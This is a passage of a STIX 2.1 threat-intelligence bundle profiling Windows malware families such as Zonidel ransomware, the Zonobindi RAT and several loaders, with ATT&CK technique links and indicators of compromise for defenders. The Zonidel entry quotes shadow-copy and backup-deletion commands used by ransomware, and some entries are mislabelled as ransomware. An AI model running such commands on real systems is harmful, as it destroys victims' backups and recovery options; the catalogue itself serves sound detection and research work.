      "id": "malware--3d943bda-4f0e-5947-ada7-0b7c389a0d5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zonidel",
      "description": "Zonidel (tracked across antivirus telemetry under signatures including Ransom:Win32/Zonidel, Trojan-Ransom.Win32.Zonidel, and Win32/Zonidel) is a destructive Windows crypto-ransomware family discovered targeting corporate networks and individual workstations. Distributed through weaponized email phishing links, software crack archives, and malicious download aggregators, Zonidel executes pre-encryption enumeration upon execution. It invokes administrative system tools via cmd.exe to purge volume shadow copies ('vssadmin delete shadows /all /quiet'), delete system backup catalogs ('wbadmin delete catalog -quiet'), and disable automatic system startup recovery ('bcdedit /set {default} bootstatuspolicy ignoreallfailures'). Zonidel then iterates across local storage drives and mounted network shares, encrypting documents, databases, images, and archives using AES-256 in CBC mode, appending the '.zonidel' extension to locked files. It secures the AES symmetric session key using an embedded 2048-bit RSA master public key, and generates ransom demand notes ('ZONIDEL_DECRYPT_NOTE.txt') across all processed directories with instructions to contact operators via Tor portals. (Observed samples in benchmark: 19)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Zonidel",
        "Trojan-Ransom.Win32.Zonidel",
        "Win32/Zonidel",
        "Ransom.Zonidel",
        "Zonidel Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zonidel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zonidel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99449dc6-a531-51b9-b2b7-0efbd46100d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zonobindi",
      "description": "Backdoor:Win32/Zonobindi is a versatile and persistent Remote Access Trojan (RAT). It provides an attacker with comprehensive, interactive control over a compromised Windows system. Unlike simple automated botnets, Zonobindi is designed for 'hands-on-keyboard' attacks, allowing a human operator to explore the file system, steal credentials, execute arbitrary commands, and pivot laterally within a corporate network (`T1059`).<br><br><b>Understanding Zonobindi (Remote Access Trojan)</b><br>To an end-user, the infection is entirely invisible. For an incident response team, the presence of Zonobindi indicates an active, intelligent adversary is inside the network. Because the tool provides deep system access, the skill level of the attacker using it can range from a novice 'script kiddie' to an advanced ransomware affiliate preparing the environment for a massive encryption event.<br><br><b>Execution and Interactive Control Mechanics</b><br>Zonobindi is typically delivered via spearphishing campaigns (weaponized Office documents) or dropped by initial access brokers. Upon execution, it establishes persistence, often via Registry Run keys or hidden Scheduled Tasks (`T1547.001`). It establishes a reverse shell connection to the attacker's C2 server. The Zonobindi control panel provides the attacker with a GUI to execute a wide array of modules: file managers, registry editors, keyloggers (`T1056.001`), password dumpers (targeting browsers and FTP clients), and remote desktop (VNC) capabilities (`T1021.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system confidentiality and a high likelihood of lateral movement. Host-based IoCs include EDR alerts for anomalous command-line execution (e.g., `cmd.exe` or `powershell.exe` spawning from unexpected parent processes), unauthorized access to credential stores, and the creation of hidden staging directories for exfiltration. Network IoCs include a persistent, encrypted outbound connection to an unknown IP address, with traffic volume spiking when the attacker is actively interacting with the system. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zonobindi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zonobindi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b30b92a-9ceb-5d21-955c-b6bb41bfa2c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99449dc6-a531-51b9-b2b7-0efbd46100d4",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zonobindi exhibits technique T1059 (Command and Scripting Interpreter (Providing the attacker with interactive shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--343c2c79-6b53-5b0e-a047-84e16209264c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99449dc6-a531-51b9-b2b7-0efbd46100d4",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zonobindi exhibits technique T1056.001 (Input Capture: Keylogging (Stealing real-time user input))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86db3bee-0203-506f-931a-984921904023",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99449dc6-a531-51b9-b2b7-0efbd46100d4",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zonobindi exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Utilizing built-in or custom VNC for graphical access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--126821b5-8dbe-5345-8654-b04cb4fe5eb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99449dc6-a531-51b9-b2b7-0efbd46100d4",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zonobindi exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing files directly through the RAT connection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b477c736-4f1b-51da-9ba4-fe89287d891c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zorex",
      "description": "Trojan:Win32/Zorex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Zorex</b><br>To an end-user, a Zorex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Zorex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Zorex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Zorex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Zorex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zorex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zorex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52d66785-bced-52ef-a990-89d62303b3d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b477c736-4f1b-51da-9ba4-fe89287d891c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zorex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43d6743b-8cf4-5af0-a9d8-65b9141e39b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b477c736-4f1b-51da-9ba4-fe89287d891c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zorex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b44e3a5e-9614-58a7-adec-828eb5869f2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b477c736-4f1b-51da-9ba4-fe89287d891c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zorex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0928864-ed0b-5763-a3cf-64dae6302085",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b477c736-4f1b-51da-9ba4-fe89287d891c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zorex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b14430a3-2d06-5dbb-b43b-a4d03acd4b24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b477c736-4f1b-51da-9ba4-fe89287d891c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zorex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f1a76d76-dc3a-5188-86a2-988bc58b78f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zpevdo",
      "description": "Trojan:Win32/Zpevdo (cataloged across security telemetry as Trojan.Win32.ZPEVDO, Win32/Zpevdo, or Downloader.Zpevdo) is an evasive multi-stage trojan loader and system modifier designed to establish persistent footholds on Windows systems and facilitate secondary malware deployment. Distributed predominantly through malicious email campaigns, compromised software cracks, and drive-by web exploit kits, Zpevdo initiates execution by establishing anti-analysis timing routines to bypass automated sandbox detection. It systematically modifies endpoint security configurations, altering Windows Firewall rules (via netsh advfirewall commands) to permit unauthorized inbound and outbound connections. Once network egress is established, Zpevdo contacts remote command-and-control servers over encrypted HTTP sessions to download, unpack, and launch secondary crimeware\u2014including cryptocurrency miners, infostealers, and corporate ransomware droppers. (Observed samples in benchmark: 1,303)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Zpevdo",
        "Trojan:Win32/Zpevdo",
        "Trojan.Win32.ZPEVDO",
        "Win32/Zpevdo",
        "Downloader.Zpevdo",
        "Trojan.Zpevdo",
        "Zpevdo Loader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zpevdo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zpevdo"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--382fb298-33f6-5b2d-bbfb-1d1078fd7fc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a76d76-dc3a-5188-86a2-988bc58b78f3",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zpevdo exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f24c328-80d6-5b90-bf30-317ca9212be4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a76d76-dc3a-5188-86a2-988bc58b78f3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zpevdo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19ce2718-b0cc-5df7-b59e-df401f3bcf0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a76d76-dc3a-5188-86a2-988bc58b78f3",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zpevdo exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b96d6870-759a-5c19-bb6e-74d4319882b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a76d76-dc3a-5188-86a2-988bc58b78f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zpevdo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d2dc233-52db-5a6a-8b1c-190ba4b1d864",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a76d76-dc3a-5188-86a2-988bc58b78f3",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zpevdo exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--470badac-a98f-58e1-8b40-b80c77de228c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1a76d76-dc3a-5188-86a2-988bc58b78f3",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zpevdo exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f73d9539-8420-5125-a812-7aad16fdbee4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zs0Bbeypkrh",
      "description": "Trojan:Win32/Zs0bbeypkrh (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Zs0bbeypkrh' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names (e.g., `ajkf83nd.com`, `93kmdla.net`). The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zs0Bbeypkrh",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zs0bbeypkrh"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebe7319f-03eb-5bc0-b41b-addfd09a20c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f73d9539-8420-5125-a812-7aad16fdbee4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zs0Bbeypkrh exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24b4e7f7-494a-5624-904a-53fb40f7ceda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f73d9539-8420-5125-a812-7aad16fdbee4",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zs0Bbeypkrh exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--388061e1-1c81-5c23-8742-1be346ccd106",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f73d9539-8420-5125-a812-7aad16fdbee4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zs0Bbeypkrh exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--abb40d99-7480-54a2-9643-ad5c5d767b7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zudochka",
      "description": "<h3>Executive Summary</h3>\nZudochka is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nZudochka is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Zudochka operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Zudochka ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Zudochka receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Zudochka infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Zudochka executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Zudochka frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Zudochka",
        "Downloader.Zudochka",
        "Win32/Zudochka"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zudochka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zudochka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15287bd6-9bfc-5ae1-aae2-e03f35934902",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb40d99-7480-54a2-9643-ad5c5d767b7e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zudochka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6007c7aa-d4e3-514a-a08e-6d729ecd8e2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb40d99-7480-54a2-9643-ad5c5d767b7e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zudochka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7dc831a-ba98-557f-bff8-429e9819b10f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--abb40d99-7480-54a2-9643-ad5c5d767b7e",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zudochka exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--740b4eee-2831-5910-b8b6-a9dda5d60c7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zugo",
      "description": "Adware/PUP:Win32/Zugo is a highly aggressive Potentially Unwanted Program (PUP) categorized as Adware or a Browser Hijacker. It is designed to forcibly alter web browser settings to generate illicit advertising revenue. Zugo is notorious for its sheer persistence and the difficulty users face when attempting manual removal, often employing rootkit-like techniques to protect its files and registry entries.<br><br><b>Understanding Zugo</b><br>To an end-user, Zugo renders a machine almost unusable for web browsing, causing constant pop-ups, sluggish performance, and hijacked search results. For a security team, it represents a significant failure in endpoint hygiene. While primarily focused on Ad-Fraud, the aggressive techniques it uses to bypass security controls make it a dangerous vector for more severe malware.<br><br><b>Execution and Hijacking Mechanics</b><br>Zugo is typically distributed via deceptive software bundles (e.g., bundled with fake codecs or torrented software). Upon execution, it demands administrative privileges. It aggressively modifies browser settings (Chrome, Edge, Firefox), force-installing malicious extensions (`T1176`) and replacing the default search provider (`T1562.001`). Crucially, Zugo often establishes persistence via multiple vectors simultaneously: Scheduled Tasks (`T1053.005`), Registry Run keys, and sometimes even installing malicious services or drivers. It actively monitors these persistence mechanisms and instantly restores them if a user or basic AV attempts deletion.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience and exposure to malvertising. Host-based IoCs include persistent, unexpected toolbars or extensions in the browser, the homepage forcefully reverting to an unknown search portal after reboot, and the presence of highly obfuscated Scheduled Tasks designed to run on a continuous loop. Network IoCs include constant, high-volume HTTP/HTTPS traffic to known adware tracking networks. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Zugo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/zugo"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62552a59-9f64-553f-a68b-e40e70d3bc65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--740b4eee-2831-5910-b8b6-a9dda5d60c7d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zugo exhibits technique T1176 (Browser Extensions (Force-installing adware extensions))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3e22289-49b6-540e-a8fb-865f440feed2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--740b4eee-2831-5910-b8b6-a9dda5d60c7d",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zugo exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Hijacking default search and homepage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4287a13a-2d81-5a54-a9ea-1de771e53db2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--740b4eee-2831-5910-b8b6-a9dda5d60c7d",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Zugo exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (The primary persistence mechanism used to evade removal))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d6f07d4-785f-5122-9714-47a6659c3fa1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Zumanek",
